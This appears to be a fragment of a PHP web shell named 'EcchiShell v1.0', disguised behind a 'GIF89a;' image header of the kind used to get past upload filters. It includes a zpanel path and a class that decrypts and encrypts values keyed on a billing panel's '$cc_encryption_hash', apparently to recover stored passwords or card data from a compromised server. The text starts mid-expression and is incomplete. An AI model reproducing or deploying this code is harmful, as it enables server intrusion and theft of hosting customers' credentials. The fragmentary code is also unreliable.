GIF89a; EcchiShell v1.0
//etc/zpanel/panel/dryden/ctrl/

md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash) )); return self::_hash($iv); } static function decrypt($string, $cc_encryption_hash){ $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash); $hash_key = self::_hash($key); $hash_length = strlen($hash_key); $string = base64_decode($string); $tmp_iv = substr($string, 0, $hash_length); $string = substr($string, $hash_length, strlen($string) - $hash_length); $iv = ""; $out = ""; for( $c = 0; $c < $hash_length; $c++ ) { $ivValue = (isset($tmp_iv[$c]) ? $tmp_iv[$c] : ""); $hashValue = (isset($hash_key[$c]) ? $hash_key[$c] : ""); $iv .= chr(ord($ivValue) ^ ord($hashValue)); } $key = $iv; for( $c = 0; $c < strlen($string); $c++ ) { if( $c != 0 && $c % $hash_length == 0 ) { $key = self::_hash($key . substr($out, $c - $hash_length, $hash_length)); } $out .= chr(ord($key[$c % $hash_length]) ^ ord($string[$c])); } return $out; } static function encrypt($string, $cc_encryption_hash) { $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash); $hash_key = self::_hash($key); $hash_length = strlen($hash_key); $iv = self::_generate_iv($cc_encryption_hash); $out = ""; for( $c = 0; $c < $hash_length; $c++ ) { $out .= chr(ord($iv[$c]) ^ ord($hash_key[$c])); } $key = $iv; for( $c = 0; $c < strlen($string); $c++ ) { if( $c != 0 && $c % $hash_length == 0 ) { $key = self::_hash($key . substr($string, $c - $hash_length, $hash_length)); } $out .= chr(ord($key[$c % $hash_length]) ^ ord($string[$c])); } $EncPass = base64_encode($out); return $EncPass; } }